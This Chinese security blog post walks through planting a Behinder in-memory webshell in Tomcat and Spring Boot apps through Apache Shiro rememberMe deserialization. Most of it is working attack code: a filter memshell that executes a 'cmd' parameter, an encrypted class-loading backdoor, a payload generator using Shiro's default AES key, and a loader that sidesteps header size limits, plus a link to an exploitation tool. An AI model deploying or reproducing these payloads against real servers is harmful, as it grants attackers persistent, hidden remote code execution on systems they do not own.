原文链接:利用shiro反序列化注入冰蝎内存马
一、shiro反序列化注入内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 1)tomcat filter内存马 先来看一个普通的jsp写入tomcat filter内存马的代码: <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "evil"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest,servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } %> 对以上的tomcat filter型内存马进行逻辑拆分,有四个主要部分,依次为: 拿到tomcat的StandardContext标准上下文对象 利用standardContext标准上下文对象,反射拿到filterConfigs 恶意filter过滤器的逻辑代码 把恶意filter经过一层层封装,存入filterConfigs中的逻辑 通过访问以上的jsp代码,从而触发这四个主要逻辑就能动态注入一个name为evil,过滤路径URLPattern为/*的filter对象了,接下来只要访问/*就能触发doFilter中的恶意代码。 2)利用shiro反序列化注入内存马 把以上提到的filter内存马逻辑写入恶意类的static方法中,再利用TemplatesImpl来动态加载字节码触发其逻辑,从而注入恶意filter 构造BehinderFilter.java BehinderFilter因为其被TemplatesImpl类来加载,所以需要继承AbstractTranslet 类 在构造函数中放入tomcat filter内存马的代码后,会缺少一个request对象,在这里request只是用来拿standardContext的,而我们可以通过其他方式拿到standardContext 在文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法中提到,由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,从而可以通过以下代码,从线程中拿到StandardContext WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); 再看下图41行与78行的逻辑,实例化了一个内部类后set进filterDef中 其实在这里可以直接把整个恶意类BehinderFilter当作一个filter,使其实现Filter接口 public class BehinderFilter extends AbstractTranslet implements Filter 再把Filter逻辑写入此类的doFilter方法中,最终得到如下代码 package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } } shiro反序列化注入内存马 这里采用P牛给出专门针对shiro无CC依赖的CB1链来进行注入内存马,项目代码地址:https://github.com/phith0n/JavaThings 需要在P神给出的项目环境中添加tomcat核心包解决构造的恶意类报错: <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.50</version> </dependency> 新建一个类,使用javassist读取一个类文件的class,再利用shiro自带的类,对其进行base64+aes加密 public class Client_memshell { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName()); byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } } 把生成的字符放入rememberMe中即可成功注入内存马 测试弹出计算器 二、注入冰蝎内存马 在上面实现了shiro注入内存马后,想着是否能注入冰蝎呢。首先要了解下冰蝎jsp马的逻辑 1)冰蝎逻辑 查看Behinder_v3.0_Beta_9中的shell.jsp代码 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()).g( c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))) .newInstance().equals(pageContext); } %> 冰蝎自定义了一个可以解析class字节数组的类加载器U,逻辑为,使用g方法调用super.defineClass,可以将byte[]直接转换为Class对象 判断为post请求后,读取请求体中的数据,拿到进行Base64+AES解码后的字节码数据。 调用自定义类加载器U拿到class后,进行newInstance实例化,调用其恶意对象的equals方法,并且传入pageContext 2)改造冰蝎马 尝试在BehinderFilter.java的filter中,放入冰蝎的核心逻辑代码 if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } 接下来就是怎么解决代码中出现的几个红色的问题 request和session对象 request对象可以通过其doFilter方法参数中传递的ServletRequest获得,而session可以通过request.getSession()获得 // 获取request和response对象 HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); pageContext对象 pageContext对象为jsp九大内置对象,在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道,在冰蝎的代码中,服务端需要从pageContext对象中获取出request/response/session。 而在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可 //create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); 然后当我们把制作好的BehinderFilter.java,注入CB1链,通过rememberMe发送给shiro后,就会发现冰蝎并连接不上。此错误在文章冰蝎改造之不改动客户端=>内存马中给出了思路,需要自己通过反射调用类加载器。直接给出代码 //revision BehinderFilter Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); 最终的BehinderFilter.java代码变成如下 package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; import java.lang.reflect.Method; import java.util.*; import javax.crypto.*; import javax.crypto.spec.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { try { System.out.println("Do Filter ......"); // 获取request和response对象 HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); //revision BehinderFilter Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } }catch (Exception e){ e.printStackTrace(); } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } } 首先在shiro+tomcat环境下测试成功
然而在springboot+shiro环境中却测试失败了: 3)排错 为了查出这个错误,我选择直接把内存马放入springboot中,自己进行filter注册,debug出其出错点。具体操作如下 启动springboot后可以看到BehinderFilter.java:41行找不到filterConfigs报错 为了进一步查看出错点,在此下好断点步入getDeclaredField 可以看到在2068行进行了filterConfigs的查找 而在此Fileld中确实没有filterConfigs 回到filter代码中,其实,在39行可以看到进行了一次转型,而有可能在springboot中的standardContext此filterConfigs值是继承自父类 修改41行中的代码为如下,从父类中拿filterConfigs Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs"); 运行后不报错成功通过逻辑 接下来就是对内存马进行修改了,两个环境,拿filterConfigs的逻辑代码却不同,分别是standardContext本身和其父类。如果要兼容这两个环境的话,可以使用try-catch分别写入两行不同的代码拿到不同得class对象 Class<? extends StandardContext> aClass = null; try{ aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass(); aClass.getDeclaredField("filterConfigs"); }catch (Exception e){ aClass = (Class<? extends StandardContext>) standardContext.getClass(); aClass.getDeclaredField("filterConfigs"); } 最终修改如下图 最终内存马变为: package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; import java.lang.reflect.Method; import java.util.*; import javax.crypto.*; import javax.crypto.spec.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Class<? extends StandardContext> aClass = null; try{ aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass(); aClass.getDeclaredField("filterConfigs"); }catch (Exception e){ aClass = (Class<? extends StandardContext>) standardContext.getClass(); aClass.getDeclaredField("filterConfigs"); } Field Configs = aClass.getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { try { System.out.println("Do Filter ......"); // 获取request和response对象 HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); //revision BehinderFilter Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } }catch (Exception e){ e.printStackTrace(); } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } } 测试springboot+shiro环境成功 shiro+tomcat环境成功: 三、绕过maxHttpHeaderSize 为了方便测试,在以上的环境测试中,我进行了maxHttpHeaderSize参数的修改。 如果我们换成默认值的话,其实会爆出一个400的错误,如下 原因在于tomcat的maxHttpHeaderSize默认值只有 4096 个字节(4k),加密编码后的字节码数据远大于这个4096个字节,所以会爆出400的错误。目前找到三种解决方案并给出对应的文章链接 1)修改maxHttpHeaderSize Shiro 550 漏洞学习 (二):内存马注入及回显 2)将class bytes使用gzip+base64压缩编码 tomcat结合shiro无文件webshell的技术研究以及检测方法 3)从POST请求体中发送字节码数据 Java代码执行漏洞中类动态加载的应用 这里我推荐使用第三种方案,就是在post请求体中发送加密编码后的BehinderFilter.java 1)从POST请求体中发送字节码数据 根据师傅的方案,不借助于反序列化恶意filter来注入,而是反序列化一个MyClassLoader,其逻辑为 静态代码块中获取了Spring Boot上下文里的request,response和session,然后获取classData参数并通过反射调用defineClass动态加载此类,实例化后调用其中的equals方法传入request,response和session三个对象 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class MyClassLoader extends AbstractTranslet { static{ try{ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData"); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length); cc.newInstance().equals(new Object[]{request,response,session}); }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { } @Override public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { } } 通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据 再使用如下命令得到class文件BehinderFilter.class的base64 cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label' rememberMe中放入通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据,classData传输BehinderFilter.class的base64,要记得进行一次url编码 springboot+shiro环境下测试成功: 而在shiro+tomcat环境下则会测试失败,原因在于MyClassLoader.java代码中,获取request对象是从Spring Boot上下文中获取,而tomcat+shiro环境中并没有spring boot上下文,导致request对象获取失败 2)寻找request对象 怎么在tomcat中寻找到request对象呢,通过xray 技术博客中的Shiro RememberMe 漏洞检测的探索之路这篇文章给了我们思路,通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。其中可以使用c0y1 师傅写的 java-object-searcher ,一款内存对象搜索工具来辅助我们寻找。 下载java-object-searcher,把所有文件复制进tomcat的web项目中 编写一个servlet,在其doGet方法中写入对应的查找逻辑 helloController.java import josearcher.entity.Keyword; import josearcher.searcher.SearchRequstByBFS; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.List; public class helloController extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter writer = resp.getWriter(); writer.println("hello servlet!"); //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 List<Keyword> keys = new ArrayList<>(); Keyword.Builder builder = new Keyword.Builder(); builder.setField_type("nnn"); keys.add(new Keyword.Builder().setField_type("ServletRequest").build()); keys.add(new Keyword.Builder().setField_type("RequstGroup").build()); keys.add(new Keyword.Builder().setField_type("RequestInfo").build()); keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build()); keys.add(new Keyword.Builder().setField_type("Request").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); //打开调试模式 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("D:\\"); searcher.searchObject(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } 当然在web.xml也要配好映射 <!--注册servlet--> <servlet> <servlet-name>hello</servlet-name> <servlet-class>controller.helloController</servlet-class> </servlet> <!--Servlet映射的请求路径--> <servlet-mapping> <servlet-name>hello</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping> 运行后访问url地址,即可触发查找,查找结果文件保存在D盘根目录下 打开查找结果文件,发现其中的一个结果中有RequestInfo debug模式下查看这个对象,确实存在request对象 但其实会发现,拿到的这个Request对象类型为org.apache.coyote.Request,并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象,通过此对象就能调用getParameter方法获取到请求体里面的数据了,具体调试过程太长,这里就不详述了。 根据以上的寻找,可以写出修改后的MyClassLoader.java对象,为了区分之前的类,我重新命名为了ClassDataLoader.java,以下是此类的代码 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class ClassDataLoader extends AbstractTranslet{ public ClassDataLoader() throws Exception { Object o; String s; String classData = null; boolean done = false; Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); for (int i = 0; i < ts.length; i++) { Thread t = ts; if (t == null) { continue; } s = t.getName(); if (!s.contains("exec") && s.contains("http")) { o = getFV(t, "target"); if (!(o instanceof Runnable)) { continue; } try { o = getFV(getFV(getFV(o, "this$0"), "handler"), "global"); } catch (Exception e) { continue; } java.util.List ps = (java.util.List) getFV(o, "processors"); for (int j = 0; j < ps.size(); j++) { Object p = ps.get(j); o = getFV(p, "req"); Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)}); classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")}); byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)}); cc.newInstance(); done = true; if (done) { break; } } } } } public Object getFV(Object o, String s) throws Exception { java.lang.reflect.Field f = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { f = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } if (f == null) { throw new NoSuchFieldException(s); } f.setAccessible(true); return f.get(o); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } 最后测试就是生成用shiro中AES+base64加密后的ClassDataLoader.java,放入rememberMe中 再生成BehinderFilter.class的base64放入classData参数中 cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label' 发送后使用冰蝎即可连接成功 四、最后 感谢P神,木头神的实验环境,帮了我很大的忙,本文中的涉及的实验环境和代码我都放在了github中,需要可以自行下载 https://github.com/yyhuni/shiroMemshell 在此篇文章原理的基础上,我随便写了一款shiro的综合利用工具 https://github.com/yyhuni/shiroATK 参考: https://www.cnblogs.com/bitterz/p/14820898.html https://xz.aliyun.com/t/9914 https://xz.aliyun.com/t/2744 Java代码执行漏洞中类动态加载的应用 tomcat结合shiro无文件webshell的技术研究以及检测方法 Shiro 550 漏洞学习 (二):内存马注入及回显 https://github.com/c0ny1/java-object-searcher https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/
|